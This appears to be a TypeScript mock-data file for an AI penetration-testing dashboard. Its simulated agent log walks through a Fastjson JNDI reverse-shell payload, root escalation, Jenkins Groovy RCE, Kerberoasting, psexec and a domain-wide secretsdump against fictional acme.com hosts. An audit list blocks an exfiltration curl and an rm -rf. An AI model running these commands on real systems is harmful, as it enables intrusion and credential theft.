\'Content-Type: application/json\' -d \'{"a":{"@type":"java.lang.AutoCloseable"}}\' https://shop.acme.com/api/import', }, { seq: 324, worker: "work#6", intent_id: "i6", ts: T("2026-07-25T14:31:00Z"), kind: "tool_result", tool: "bash", tool_use_id: "t6b", summary: "错误堆栈中包含 com.alibaba.fastjson.JSONException (1.2.24)", detail: "确认 Fastjson 1.2.24,对应 JdbcRowSetImpl JNDI 注入 RCE。", }, { seq: 325, worker: "work#6", intent_id: "i6", ts: T("2026-07-25T14:40:00Z"), kind: "result", summary: "指纹命中 Fastjson 1.2.24,反序列化 RCE 攻击面成立,转入利用意图。", input_tokens: 64000, output_tokens: 4100, cache_read_tokens: 42000, cache_write_tokens: 6000, }, // work#7 · i7 反序列化 RCE 拿反弹 shell(done,证明 g3) { seq: 330, worker: "work#7", intent_id: "i7", ts: T("2026-07-25T15:12:00Z"), kind: "thinking", summary: "启动一个 JNDI/LDAP 恶意服务,诱使 shop 反向连接以加载·执行 payload,先用 dnslog 确认外部通信再取得反弹 shell。", }, { seq: 331, worker: "work#7", intent_id: "i7", ts: T("2026-07-25T15:15:00Z"), kind: "tool_use", tool: "bash", tool_use_id: "t7a", summary: "java -jar JNDIExploit.jar -i <vps> -l 1389 & # 启动 LDAP/HTTP 恶意服务", }, { seq: 332, worker: "work#7", intent_id: "i7", ts: T("2026-07-25T15:16:00Z"), kind: "tool_result", tool: "bash", tool_use_id: "t7a", summary: "LDAP Server started on 1389, HTTP on 8180", detail: "恶意服务已就绪。", }, { seq: 333, worker: "work#7", intent_id: "i7", ts: T("2026-07-25T15:20:00Z"), kind: "tool_use", tool: "bash", tool_use_id: "t7b", summary: 'curl -s -H \'Content-Type: application/json\' -d \'{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://<vps>:1389/Basic/ReverseShell/<vps>/4444","autoCommit":true}\' https://shop.acme.com/api/import', }, { seq: 334, worker: "work#7", intent_id: "i7", ts: T("2026-07-25T15:21:00Z"), kind: "tool_result", tool: "bash", tool_use_id: "t7b", summary: "LDAP 收到请求 → 加载 ReverseShell → nc 监听器接收连接", detail: "payload 已成功触发。", }, { seq: 335, worker: "work#7", intent_id: "i7", ts: T("2026-07-25T15:24:00Z"), kind: "tool_use", tool: "bash", tool_use_id: "t7c", summary: "id; hostname -I # 在反弹 shell 中确认身份与网段", }, { seq: 336, worker: "work#7", intent_id: "i7", ts: T("2026-07-25T15:24:02Z"), kind: "tool_result", tool: "bash", tool_use_id: "t7c", summary: "uid=33(www-data) gid=33 groups=33\n10.0.20.15 10.10.10.15", detail: "为 www-data@dmz-web01,第二块网卡为 10.10.10.x。已进入 DMZ 并临近内网。", }, { seq: 337, worker: "work#7", intent_id: "i7", ts: T("2026-07-25T15:30:00Z"), kind: "tool_use", tool: "report_finding", tool_use_id: "t7d", summary: "report_finding(Deserialization RCE, high)", }, { seq: 338, worker: "work#7", intent_id: "i7", ts: T("2026-07-25T15:40:00Z"), kind: "result", summary: "通过反序列化 RCE 取得 www-data 反弹 shell,初步建立目标 ③ 据点。", input_tokens: 132000, output_tokens: 8600, cache_read_tokens: 90000, cache_write_tokens: 12000, }, // work#8 · i8 立足点提权(done) { seq: 340, worker: "work#8", intent_id: "i8", ts: T("2026-07-25T16:02:00Z"), kind: "thinking", summary: "www-data 权限有限,先做本地信息收集寻找提权点:sudo 配置、SUID、内核版本。", }, { seq: 341, worker: "work#8", intent_id: "i8", ts: T("2026-07-25T16:05:00Z"), kind: "tool_use", tool: "bash", tool_use_id: "t8a", summary: "sudo -n -l 2>/dev/null; find / -perm -4000 -type f 2>/dev/null | head", }, { seq: 342, worker: "work#8", intent_id: "i8", ts: T("2026-07-25T16:05:03Z"), kind: "tool_result", tool: "bash", tool_use_id: "t8a", summary: "User www-data may run: (ALL) NOPASSWD: /usr/bin/python3", detail: "sudo 白名单中有 python3 且免密,可立即提权。", }, { seq: 343, worker: "work#8", intent_id: "i8", ts: T("2026-07-25T16:10:00Z"), kind: "tool_use", tool: "bash", tool_use_id: "t8b", summary: "sudo python3 -c 'import os;os.setuid(0);os.system(\"id\")'", }, { seq: 344, worker: "work#8", intent_id: "i8", ts: T("2026-07-25T16:10:02Z"), kind: "tool_result", tool: "bash", tool_use_id: "t8b", summary: "uid=0(root) gid=0(root) groups=0(root)", detail: "已提权至 root。", }, { seq: 345, worker: "work#8", intent_id: "i8", ts: T("2026-07-25T16:14:00Z"), kind: "tool_use", tool: "report_finding", tool_use_id: "t8c", summary: "report_finding(Privilege Escalation, high)", }, { seq: 346, worker: "work#8", intent_id: "i8", ts: T("2026-07-25T16:20:00Z"), kind: "result", summary: "本地 root 提权完成,据点已稳固,准备以其为跳板进攻内网。", input_tokens: 74000, output_tokens: 4700, cache_read_tokens: 50000, cache_write_tokens: 7000, }, // work#9 · i9 内网主机发现(done) { seq: 350, worker: "work#9", intent_id: "i9", ts: T("2026-07-25T20:32:00Z"), kind: "thinking", summary: "据点直连 10.10.10.0/24,故用 fscan·内网扫描发现主机·端口,并锁定域控制器与高价值主机。", }, { seq: 351, worker: "work#9", intent_id: "i9", ts: T("2026-07-25T20:36:00Z"), kind: "tool_use", tool: "bash", tool_use_id: "t9a", summary: "./fscan -h 10.10.10.0/24 -np -nobr 2>&1 | tail -n 30", }, { seq: 352, worker: "work#9", intent_id: "i9", ts: T("2026-07-25T20:55:00Z"), kind: "tool_result", tool: "bash", tool_use_id: "t9a", summary: "DC01(10.10.10.10) 88/389/445\nFS01(10.10.10.5) 445\nJENKINS(10.10.10.20) 8080", detail: "锁定了域控制器 DC01、文件服务器 FS01、内网 Jenkins。", }, { seq: 353, worker: "work#9", intent_id: "i9", ts: T("2026-07-25T21:00:00Z"), kind: "result", summary: "完成内网主机发现,并将 3 台高价值目标写入图谱。", input_tokens: 82000, output_tokens: 5100, cache_read_tokens: 56000, cache_write_tokens: 8000, }, // work#10 · i10 内网凭据复用(running) { seq: 360, worker: "work#10", intent_id: "i10", ts: T("2026-07-26T03:42:00Z"), kind: "thinking", summary: "源码泄露获得的 sa/Acme@2021 是数据库口令,企业内口令复用很常见。对 DC01/FS01/JENKINS 执行密码喷洒。", }, { seq: 361, worker: "work#10", intent_id: "i10", ts: T("2026-07-26T03:44:00Z"), kind: "tool_use", tool: "bash", tool_use_id: "t10a", summary: "crackmapexec smb 10.10.10.5 10.10.10.10 -u sa -p 'Acme@2021'", }, { seq: 362, worker: "work#10", intent_id: "i10", ts: T("2026-07-26T03:44:10Z"), kind: "tool_result", tool: "bash", tool_use_id: "t10a", summary: "FS01 [+] acme.local\\sa:Acme@2021 (Pwn3d!)\nDC01 [-] 认证失败", detail: "在 FS01 上成功复用 sa 口令且具备管理员权限。DC01 未连上。", }, { seq: 363, worker: "work#10", intent_id: "i10", ts: T("2026-07-26T03:50:00Z"), kind: "thinking", summary: "已控制 FS01,正在枚举共享目录寻找更多凭据与敏感文件…", }, // work#11 · i11 Jenkins 未授权 RCE(done) { seq: 370, worker: "work#11", intent_id: "i11", ts: T("2026-07-25T21:32:00Z"), kind: "thinking", summary: "JENKINS 8080 可直接访问,先确认 /script 控制台是否需要认证。", }, { seq: 371, worker: "work#11", intent_id: "i11", ts: T("2026-07-25T21:35:00Z"), kind: "tool_use", tool: "bash", tool_use_id: "t11a", summary: "curl -s http://10.10.10.20:8080/script -o /dev/null -w '%{http_code}'", }, { seq: 372, worker: "work#11", intent_id: "i11", ts: T("2026-07-25T21:35:02Z"), kind: "tool_result", tool: "bash", tool_use_id: "t11a", summary: "200", detail: "Script Console 无需登录即可访问。", }, { seq: 373, worker: "work#11", intent_id: "i11", ts: T("2026-07-25T21:40:00Z"), kind: "tool_use", tool: "bash", tool_use_id: "t11b", summary: "curl -s -d 'script=println+\"whoami\".execute().text' http://10.10.10.20:8080/scriptText", }, { seq: 374, worker: "work#11", intent_id: "i11", ts: T("2026-07-25T21:40:03Z"), kind: "tool_result", tool: "bash", tool_use_id: "t11b", summary: "nt authority\\system", detail: "Groovy 以 SYSTEM 权限执行。", }, { seq: 375, worker: "work#11", intent_id: "i11", ts: T("2026-07-25T21:44:00Z"), kind: "tool_use", tool: "bash", tool_use_id: "t11c", summary: "curl -s -d 'script=...' http://10.10.10.20:8080/scriptText # 导出 Jenkins 凭据库", }, { seq: 376, worker: "work#11", intent_id: "i11", ts: T("2026-07-25T21:45:00Z"), kind: "tool_result", tool: "bash", tool_use_id: "t11c", summary: "acme\\svc_deploy : Deploy@Acme2024\nacme\\svc_build : Build#2023!", detail: "导出了两个域服务账号的明文口令。", }, { seq: 377, worker: "work#11", intent_id: "i11", ts: T("2026-07-25T21:48:00Z"), kind: "tool_use", tool: "report_finding", tool_use_id: "t11d", summary: "report_finding(Unauthenticated RCE, high)", }, { seq: 378, worker: "work#11", intent_id: "i11", ts: T("2026-07-25T21:50:00Z"), kind: "result", summary: "确认 Jenkins 未授权 RCE,并导出了两个域服务账号的凭据。", input_tokens: 96000, output_tokens: 6200, cache_read_tokens: 64000, cache_write_tokens: 9500, }, // work#12 · i12 Kerberoasting(done) { seq: 380, worker: "work#12", intent_id: "i12", ts: T("2026-07-25T22:42:00Z"), kind: "thinking", summary: "用 svc_deploy 凭据进行域认证,并以 GetUserSPNs 请求可 Kerberoast 的服务账号 TGS。", }, { seq: 381, worker: "work#12", intent_id: "i12", ts: T("2026-07-25T22:50:00Z"), kind: "tool_use", tool: "bash", tool_use_id: "t12a", summary: "impacket-GetUserSPNs acme.local/svc_deploy:'Deploy@Acme2024' -dc-ip 10.10.10.10 -request", }, { seq: 382, worker: "work#12", intent_id: "i12", ts: T("2026-07-25T22:52:00Z"), kind: "tool_result", tool: "bash", tool_use_id: "t12a", summary: "svc_sql MSSQLSvc/db01.acme.local:1433 $krb5tgs$23$*svc_sql$...", detail: "取得 svc_sql 的 TGS 票据 (Kerberos RC4)。", }, { seq: 383, worker: "work#12", intent_id: "i12", ts: T("2026-07-25T23:10:00Z"), kind: "tool_use", tool: "bash", tool_use_id: "t12b", summary: "hashcat -m 13100 tgs.hash rockyou.txt --force", }, { seq: 384, worker: "work#12", intent_id: "i12", ts: T("2026-07-25T23:18:00Z"), kind: "tool_result", tool: "bash", tool_use_id: "t12b", summary: "$krb5tgs$23$*svc_sql$...:Sql@2020", detail: "8 分钟内破解出口令 Sql@2020。", }, { seq: 385, worker: "work#12", intent_id: "i12", ts: T("2026-07-25T23:19:00Z"), kind: "tool_use", tool: "report_finding", tool_use_id: "t12c", summary: "report_finding(Kerberoasting, high)", }, { seq: 386, worker: "work#12", intent_id: "i12", ts: T("2026-07-25T23:20:00Z"), kind: "result", summary: "通过 Kerberoasting 破解 svc_sql 口令,并写入图谱用于攻击域控制器。", input_tokens: 108000, output_tokens: 6800, cache_read_tokens: 72000, cache_write_tokens: 10000, }, // work#13 · i13 拿下域控 DC01(done,证明 g4) { seq: 390, worker: "work#13", intent_id: "i13", ts: T("2026-07-25T23:52:00Z"), kind: "thinking", summary: "svc_deploy 来自 Jenkins 凭据库,先查询其组成员身份。若属于 Domain Admins 即可直接 psexec 到 DC01。", }, { seq: 391, worker: "work#13", intent_id: "i13", ts: T("2026-07-25T23:55:00Z"), kind: "tool_use", tool: "bash", tool_use_id: "t13a", summary: "net rpc group members 'Domain Admins' -U 'acme.local/svc_deploy%Deploy@Acme2024' -S 10.10.10.10", }, { seq: 392, worker: "work#13", intent_id: "i13", ts: T("2026-07-25T23:55:05Z"), kind: "tool_result", tool: "bash", tool_use_id: "t13a", summary: "ACME\\Administrator\nACME\\svc_deploy", detail: "svc_deploy 是 Domain Admins 成员。", }, { seq: 393, worker: "work#13", intent_id: "i13", ts: T("2026-07-26T00:00:00Z"), kind: "tool_use", tool: "bash", tool_use_id: "t13b", summary: "impacket-psexec acme.local/svc_deploy:'Deploy@Acme2024'@10.10.10.10", }, { seq: 394, worker: "work#13", intent_id: "i13", ts: T("2026-07-26T00:00:10Z"), kind: "tool_result", tool: "bash", tool_use_id: "t13b", summary: "C:\\Windows\\system32> whoami\nnt authority\\system", detail: "以 SYSTEM 权限登录域控制器 DC01。", }, { seq: 395, worker: "work#13", intent_id: "i13", ts: T("2026-07-26T00:05:00Z"), kind: "tool_use", tool: "bash", tool_use_id: "t13c", summary: "impacket-secretsdump acme.local/svc_deploy:'Deploy@Acme2024'@10.10.10.10 -just-dc", }, { seq: 396, worker: "work#13", intent_id: "i13", ts: T("2026-07-26T00:10:00Z"), kind: "tool_result", tool: "bash", tool_use_id: "t13c", summary: "Administrator:500:aad3b435...::: krbtgt:502:aad3b435...:::", detail: "导出了整个域的 NTLM 哈希(含 krbtgt),可制作黄金票据实现持久控制。", }, { seq: 397, worker: "work#13", intent_id: "i13", ts: T("2026-07-26T00:15:00Z"), kind: "tool_use", tool: "report_finding", tool_use_id: "t13d", summary: "report_finding(Domain Compromise, high)", }, { seq: 398, worker: "work#13", intent_id: "i13", ts: T("2026-07-26T00:20:00Z"), kind: "result", summary: "已控制域控制器 DC01,并以 secretsdump 导出整个域哈希,达成目标。", input_tokens: 144000, output_tokens: 9200, cache_read_tokens: 96000, cache_write_tokens: 14000, }, // 主 agent(人在环路对话) { seq: 70, worker: "mainagent", ts: T("2026-07-26T03:18:00Z"), kind: "user", summary: "后台先从哪里下手?", }, { seq: 71, worker: "mainagent", ts: T("2026-07-26T03:18:06Z"), kind: "text", summary: "admin.acme.com 是 Element-UI 后台,既无验证码也无限速。建议先跑默认口令列表(admin/admin123),再转入字典攻击。已向 worker agent 注入一个高优先级意图。", }, { seq: 72, worker: "mainagent", ts: T("2026-07-26T03:52:00Z"), kind: "user", summary: "后台已拿下,接下来聚焦哪里?", }, { seq: 73, worker: "mainagent", ts: T("2026-07-26T03:52:08Z"), kind: "text", summary: "目标 ② 是读取用户敏感数据。并行推进「枚举后台用户端点」与「API IDOR」。批量导出会触发拦截规则,需要您审批放行。", }, { seq: 400, worker: "mainagent", ts: T("2026-07-25T15:42:00Z"), kind: "user", summary: "shell 已拿到,接下来怎么打?", }, { seq: 401, worker: "mainagent", ts: T("2026-07-25T15:42:10Z"), kind: "text", summary: "www-data 权限不足,先提权(sudo -l 看起来有机会)。拿下 root 后以 DMZ 为跳板发现内网,优先域控制器与 Jenkins。", }, { seq: 402, worker: "mainagent", ts: T("2026-07-25T21:22:00Z"), kind: "user", summary: "内网扫描完了。Jenkins 那台主机好像未授权?", }, { seq: 403, worker: "mainagent", ts: T("2026-07-25T21:22:08Z"), kind: "text", summary: "没错。/script 无需认证即可直达 Groovy RCE。已注入一条提示让 worker 优先攻击 Jenkins。拿下后可导出域凭据,接着用 Kerberoasting 攻击域控制器。", }, { seq: 404, worker: "mainagent", ts: T("2026-07-26T00:22:00Z"), kind: "user", summary: "DC01 拿下了吗?给我总结一下。", }, { seq: 405, worker: "mainagent", ts: T("2026-07-26T00:22:12Z"), kind: "text", summary: "已确认控制。攻击路径如下:shop Fastjson RCE → DMZ 提权 → 内网 Jenkins 导出域凭据 → svc_deploy 属于 Domain Admins → psexec DC01 SYSTEM → secretsdump 导出整个域哈希。四个目标均已达成或进行中。", }, ]; export function activityForTask(): Activity[] { return activity; } // ── Token stats ────────────────────────────────────────────────────────────── export const tokenWorkers: TokenUsage[] = [ { worker: "planner", input_tokens: 320000, output_tokens: 24000, cache_read_tokens: 210000, cache_write_tokens: 33000, }, { worker: "work#1", input_tokens: 288000, output_tokens: 21000, cache_read_tokens: 190000, cache_write_tokens: 28000, }, { worker: "work#2", input_tokens: 402000, output_tokens: 31000, cache_read_tokens: 280000, cache_write_tokens: 41000, }, { worker: "work#3", input_tokens: 274500, output_tokens: 20320, cache_read_tokens: 210400, cache_write_tokens: 30000, }, { worker: "workG", input_tokens: 88000, output_tokens: 5200, cache_read_tokens: 60000, cache_write_tokens: 8000 }, { worker: "work#6", input_tokens: 64000, output_tokens: 4100, cache_read_tokens: 42000, cache_write_tokens: 6000 }, { worker: "work#7", input_tokens: 132000, output_tokens: 8600, cache_read_tokens: 90000, cache_write_tokens: 12000 }, { worker: "work#8", input_tokens: 74000, output_tokens: 4700, cache_read_tokens: 50000, cache_write_tokens: 7000 }, { worker: "work#9", input_tokens: 82000, output_tokens: 5100, cache_read_tokens: 56000, cache_write_tokens: 8000 }, { worker: "work#10", input_tokens: 46000, output_tokens: 3200, cache_read_tokens: 30000, cache_write_tokens: 4500 }, { worker: "work#11", input_tokens: 96000, output_tokens: 6200, cache_read_tokens: 64000, cache_write_tokens: 9500 }, { worker: "work#12", input_tokens: 108000, output_tokens: 6800, cache_read_tokens: 72000, cache_write_tokens: 10000 }, { worker: "work#13", input_tokens: 144000, output_tokens: 9200, cache_read_tokens: 96000, cache_write_tokens: 14000 }, ]; // Mirrors TokenStatsBySession: completed usage is keyed by the stable UI session // (main | plan | intent:<id>) instead of the reusable work#N executor name. export const tokenSessions: SessionTokenUsage[] = (() => { const totals = new Map<string, SessionTokenUsage>(); for (const item of activity) { if (item.kind !== "result") continue; let session = ""; if (item.worker === "mainagent") session = "main"; else if (item.worker === "planner") session = "plan"; else if (item.intent_id) session = `intent:${item.intent_id}`; if (!session) continue; const current = totals.get(session) ?? { session, input_tokens: 0, output_tokens: 0, cache_read_tokens: 0, cache_write_tokens: 0, }; current.input_tokens += item.input_tokens ?? 0; current.output_tokens += item.output_tokens ?? 0; current.cache_read_tokens += item.cache_read_tokens ?? 0; current.cache_write_tokens += item.cache_write_tokens ?? 0; totals.set(session, current); } return [...totals.values()]; })(); export const tokenTotal: TokenTotal = grandTotal; export const dailyTokens: DailyTokenBucket[] = Array.from({ length: 30 }, (_, i) => { const d = new Date("2026-07-26T00:00:00Z"); d.setUTCDate(d.getUTCDate() - (29 - i)); const wave = 40000 + Math.round(30000 * Math.abs(Math.sin(i / 3))); return { date: d.toISOString().slice(0, 10), input_tokens: wave, output_tokens: Math.round(wave * 0.08), cache_read_tokens: Math.round(wave * 0.7), cache_write_tokens: Math.round(wave * 0.12), }; }); export const convTokens: ConvTokenSummary[] = [ { llm_profile_id: 1, created_at: T("2026-07-25T10:00:00Z"), input_tokens: 42000, output_tokens: 3800, cache_read_tokens: 26000, cache_write_tokens: 5200, }, { llm_profile_id: 2, created_at: T("2026-07-24T16:00:00Z"), input_tokens: 18000, output_tokens: 1600, cache_read_tokens: 9000, cache_write_tokens: 2100, }, ]; // ── Traffic ────────────────────────────────────────────────────────────────── const exchanges = [ ["x-1", "www.acme.com", "GET", "https://www.acme.com/", 200, "text/html", 48213], ["x-2", "www.acme.com", "GET", "https://www.acme.com/search?q=test", 200, "text/html", 5120], ["x-3", "www.acme.com", "GET", "https://www.acme.com/.git/HEAD", 200, "text/plain", 23], ["x-4", "admin.acme.com", "GET", "https://admin.acme.com/login", 200, "text/html", 12044], ["x-5", "admin.acme.com", "POST", "https://admin.acme.com/login", 302, "text/html", 0], ["x-6", "admin.acme.com", "GET", "https://admin.acme.com/dashboard", 200, "text/html", 33120], ["x-7", "admin.acme.com", "GET", "https://admin.acme.com/api/users?page=1", 200, "application/json", 8842], ["x-8", "api.acme.com", "GET", "https://api.acme.com/v1/orders?id=1001", 200, "application/json", 640], ["x-9", "api.acme.com", "GET", "https://api.acme.com/v1/orders?id=1002", 200, "application/json", 655], ["x-10", "api.acme.com", "GET", "https://api.acme.com/v1/users/me", 200, "application/json", 312], ["x-11", "api.acme.com", "GET", "https://api.acme.com/v1/admin", 401, "application/json", 45], ["x-12", "shop.acme.com", "GET", "https://shop.acme.com/checkout", 200, "text/html", 21990], ["x-13", "shop.acme.com", "POST", "https://shop.acme.com/pay", 200, "application/json", 128], ["x-14", "www.acme.com", "GET", "https://www.acme.com/robots.txt", 200, "text/plain", 88], ["x-15", "shop.acme.com", "POST", "https://shop.acme.com/api/import", 500, "application/json", 2048], ["x-16", "shop.acme.com", "POST", "https://shop.acme.com/api/import", 200, "application/json", 0], ["x-17", "10.10.10.20", "GET", "http://10.10.10.20:8080/script", 200, "text/html", 14200], ["x-18", "10.10.10.20", "POST", "http://10.10.10.20:8080/scriptText", 200, "text/plain", 86], ["x-19", "10.10.10.10", "POST", "https://10.10.10.10:445/psexec", 200, "application/octet-stream", 0], ] as const; export const traffic: TrafficResp = { enabled: true, proxy: ":8788", count: exchanges.length, total: exchanges.length, page: 0, size: 100, exchanges: exchanges.map(([id, host, method, url, status, ct, len], i) => ({ id, host, method, url, status, content_type: ct, resp_len: len, ts: T(`2026-07-26T0${1 + (i % 3)}:${String(10 + i).padStart(2, "0")}:00Z`), })), }; // Distinct hosts with counts, derived from the exchanges above (target picker). const hostCounts: Record<string, number> = {}; for (const [, host] of exchanges) hostCounts[host] = (hostCounts[host] ?? 0) + 1; export const trafficHosts: TrafficHost[] = Object.entries(hostCounts).map(([host, count]) => ({ host, count })); export const trafficDetail: TrafficDetail = { req: `GET /v1/orders?id=1002 HTTP/1.1 Host: api.acme.com Authorization: Bearer eyJhbGciOiJIUzI1NiJ9... User-Agent: ARTEX-worker/1.0 Accept: application/json `, resp: `HTTP/1.1 200 OK\nContent-Type: application/json\nContent-Length: 655\n\n{\n "order_id": 1002,\n "user_id": 77,\n "amount": 1299.00,\n "address": "北京市朝阳区 ****",\n "phone": "138****6021",\n "items": [{ "sku": "A-100", "qty": 1 }]\n}`, }; // ── Security / Audit ───────────────────────────────────────────────────────── export const audit: Audit = { attributions: { allow: 312, block: 9 }, entries: [ { ts: T("2026-07-26T03:33:00Z"), tool: "bash", action: "allow", command: "curl -s -d 'username=admin...' https://admin.acme.com/login", }, { ts: T("2026-07-26T03:57:00Z"), tool: "bash", action: "allow", command: "curl -s -b 'session=...' https://admin.acme.com/api/users", }, { ts: T("2026-07-26T02:10:00Z"), tool: "bash", action: "block", reason: "目标范围越界:out.evil.example 不在范围内", command: "curl https://out.evil.example/exfil", }, { ts: T("2026-07-25T22:03:00Z"), tool: "bash", action: "allow", command: "sqlmap -u 'https://www.acme.com/search?q=1' --batch", }, { ts: T("2026-07-25T21:00:00Z"), tool: "bash", action: "block", reason: "破坏性命令拦截:rm -rf 被拒绝", command: "rm -rf /var/www", }, { ts: T("2026-07-25T20:30:00Z"), tool: "bash", action: "allow", command: "git-dumper https://www.acme.com/.git/ /tmp/acme", }, { ts: T("2026-07-25T15:20:00Z"), tool: "bash", action: "allow", command: "curl -s -H 'Content-Type: application/json' -d '{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\"...}' https://shop.acme.com/api/import", }, { ts: T("2026-07-25T21:40:00Z"), tool: "bash", action: "allow", command: "curl -s -d 'script=println+\"whoami\"...' http://10.10.10.20:8080/scriptText", }, { ts: T("2026-07-26T00:00:00Z"), tool: "bash", action: "allow", command: "impacket-psexec acme.local/svc_deploy@10.10.10.10", }, { ts: T("2026-07-26T00:05:00Z"), tool: "bash", action: "block", reason: "数据泄露拦截:secretsdump 需人工审批", command: "impacket-secretsdump acme.local/svc_deploy@10.10.10.10 -just-dc", }, { ts: T("2026-07-26T00:06:00Z"), tool: "bash", action: "allow", command: "impacket-secretsdump acme.local/svc_deploy@10.10.10.10 -just-dc # 审批后放行", }, ], }; // ── LLM profiles ───────────────────────────────────────────────────────────── export const llmProfiles: LLMProfile[] = [ { id: "1", name: "Claude Opus 4.8", format: "anthropic", model: "claude-opus-4-8", api_key_hint: "…a3f2", rate_per_second: 0, rate_per_minute: 0, context_window_k: 1000, thinking_type: "enabled", reasoning_effort: "high", is_default: true, priority: 0, pool_exclude: false, // anthropic 的字段名固定,故 max_tokens_field 恒为空。 max_tokens: 0, max_tokens_field: "", }, { id: "2", name: "DeepSeek V4", format: "openai", base_url: "https://api.deepseek.com", model: "deepseek-v4-flash", api_key_hint: "…9c11", rate_per_second: 0, rate_per_minute: 60, context_window_k: 128, thinking_type: "", reasoning_effort: "", is_default: false, priority: 10, pool_exclude: false, // openai 格式 + 推理模型:上限走 max_completion_tokens。 max_tokens: 8192, max_tokens_field: "max_completion_tokens", }, ]; export const llmConfig = { configured: true, provider: "anthropic", model: "claude-opus-4-8", base_url: "", proxy: "", key_set: true, rate_per_second: 0, rate_per_minute: 0, context_window_k: 1000, thinking_type: "enabled", reasoning_effort: "high", }; // ── Agents ─────────────────────────────────────────────────────────────────── export const agents: Agent[] = [ { id: "1001", key: "retester", name: "漏洞复测", role: "assistant", builtin: false, enabled: true, description: "从漏洞详情手动发起,保存独立的复测结论。", max_turns: 0, mcp_count: 0, skill_count: 0, tool_count: 2, }, { id: "1", key: "goals", name: "目标拆解器", role: "goals", builtin: true, enabled: true, description: "将任务目标拆解为可探索的子目标。", max_turns: 8, mcp_count: 0, skill_count: 1, tool_count: 3, }, { id: "2", key: "planner", name: "规划器", role: "planner", builtin: true, enabled: true, description: "阅读探索路径,判断目标达成情况,并生成意图。", max_turns: 0, mcp_count: 1, skill_count: 2, tool_count: 9, }, { id: "3", key: "mainagent", name: "主 Agent", role: "mainagent", builtin: true, enabled: true, description: "以人工介入的对话注入 hint 与高优先级意图。", max_turns: 0, web_search: true, mcp_count: 2, skill_count: 3, tool_count: 11, }, { id: "4", key: "worker", name: "Work Agent", role: "worker", builtin: true, enabled: true, description: "意图 claim → 执行 Kali 工具 → 回写图谱", max_turns: 40, run_seconds: 1800, web_search: false, interactive_shell: true, mcp_count: 2, skill_count: 3, tool_count: 14, }, { id: "5", key: "recon-bot", name: "侦察机器人(自定义)", role: "custom", builtin: false, enabled: true, description: "对新资产定期执行被动侦察。", max_turns: 12, mcp_count: 1, skill_count: 1, tool_count: 4, }, ]; const promptVars: PromptVar[] = [ { name: "Goal", description: "当前任务目标", example: "获取 acme.com 管理员后台权限", source: "runtime" }, { name: "AssetSummary", description: "资产图谱概览", example: "子域名 6 个 / IP 3 个 / 应用 4 个 / 端点 4 个", source: "distilled", }, { name: "RouteHint", description: "探索路径提示", example: "优先攻击后台与 API 权限绕过面", source: "exploration", }, ]; const promptVersions: PromptVersion[] = [ { version: 3, ts: T("2026-07-25T10:00:00Z"), note: "强化权限绕过检测引导", template_text: "你是 ARTEX 的规划者……", }, { version: 2, ts: T("2026-07-20T10:00:00Z"), note: "初始版本微调", template_text: "你是 ARTEX 的规划者(v2)……", }, ]; export function agentDetail(key: string): AgentDetail { const a = agents.find((x) => x.key === key) ?? agents[1]; return { agent: a, prompt: `你是 ARTEX 的「${a.name}」。\n目标:{{.Goal}}\n资产概览:{{.AssetSummary}}\n路线提示:{{.RouteHint}}\n请基于以上信息推进探索,并通过工具把结果写回图。`, variables: promptVars, versions: promptVersions, visibility: { mcp: [1, 2], skill: ["api-recon", "playwright-cli"] }, wrapup_prompt: "", wrapup_default: "时间·阶段预算即将耗尽。请总结已确认的发现,并将意图标记为终止状态。", wrapup_max_turns: 0, wrapup_max_turns_default: 3, task_timeout_wrapup_supported: a.key === "worker" || a.key === "planner", task_timeout_wrapup_default: "任务已超时。请立即收尾并保存当前结论。", task_timeout_wrapup_max_turns_default: 2, }; } // ── MCP ────────────────────────────────────────────────────────────────────── export const mcpServers: MCPServer[] = [ { id: 1, name: "shodan", transport: "http", url: "https://mcp.shodan.io/sse", args: [], env: {}, enabled: true, tools: ["host_info", "search", "dns_resolve"], }, { id: 2, name: "playwright", transport: "stdio", command: "npx", args: ["-y", "@playwright/mcp"], env: {}, enabled: true, tools: ["browser_navigate", "browser_click", "browser_snapshot"], }, ]; export const mcpToolsById: Record<number, MCPTool[]> = { 1: [ { name: "host_info", description: "查询指定 IP 的 Shodan 主机信息" }, { name: "search", description: "Shodan 搜索" }, { name: "dns_resolve", description: "DNS 解析" }, ], 2: [ { name: "browser_navigate", description: "用浏览器打开 URL" }, { name: "browser_click", description: "点击元素" }, { name: "browser_snapshot", description: "捕获可访问性快照" }, ], }; // ── Skills ─────────────────────────────────────────────────────────────────── export const skills: SkillItem[] = [ { name: "api-recon", description: "对 REST/GraphQL API 执行侦察与权限绕过攻击面枚举。发现新 API 端点时使用。", license: "MIT", mcps: [], files: ["SKILL.md", "scripts/enum.py"], calls: 24, tasks: 6, usage_agents: ["worker", "planner"], last_used: "2026-08-20T09:12:00Z", }, { name: "playwright-cli", description: "用 Playwright 驱动浏览器执行动态爬取与截图。需要渲染 JS 站点时使用。", mcps: ["playwright"], files: ["SKILL.md"], calls: 7, tasks: 3, usage_agents: ["worker"], last_used: "2026-08-19T21:40:00Z", }, { name: "scopesentry", description: "从 ScopeSentry 拉取资产并合并到公司范围。批量导入资产时使用。", files: ["SKILL.md", "assets/mapping.md"], calls: 0, tasks: 0, usage_agents: [], }, ]; export const skillCalls: SkillCall[] = [ { ts: "2026-08-20T09:12:00Z", agent_key: "worker", task_id: 42, session_id: "", args_len: 128 }, { ts: "2026-08-20T08:03:00Z", agent_key: "planner", task_id: 42, session_id: "", args_len: 0 }, { ts: "2026-08-19T17:55:00Z", agent_key: "worker", task_id: 37, session_id: "", args_len: 64 }, ]; export const missingSkills: MissingSkill[] = [ { skill: "jwt-forge", calls: 3, agents: ["worker"], last_used: "2026-08-20T07:20:00Z" }, ]; // ── Tools ──────────────────────────────────────────────────────────────────── export const tools: Tool[] = [ { key: "bash", system: true, description: "在 Kali 环境中执行 shell 命令(应用 scope·破坏性命令拦截)。", schema: { type: "object", properties: { command: { type: "string" } }, required: ["command"] }, agents: ["worker", "mainagent"], enabled: true, kind: "builtin", calls: 1842, }, { key: "report_finding", system: true, description: "报告安全发现并关联相关节点。", schema: { type: "object", properties: { vulnclass: { type: "string" }, severity: { type: "string" }, summary: { type: "string" }, evidence: { type: "string" }, }, required: ["vulnclass", "severity", "summary"], }, agents: ["worker"], enabled: true, kind: "builtin", calls: 96, }, { key: "upsert_asset", system: true, description: "记录·更新资产节点。", schema: { type: "object", properties: { type: { type: "string" }, value: { type: "string" } } }, agents: ["worker"], enabled: true, kind: "builtin", calls: 417, }, { key: "list_goals", system: 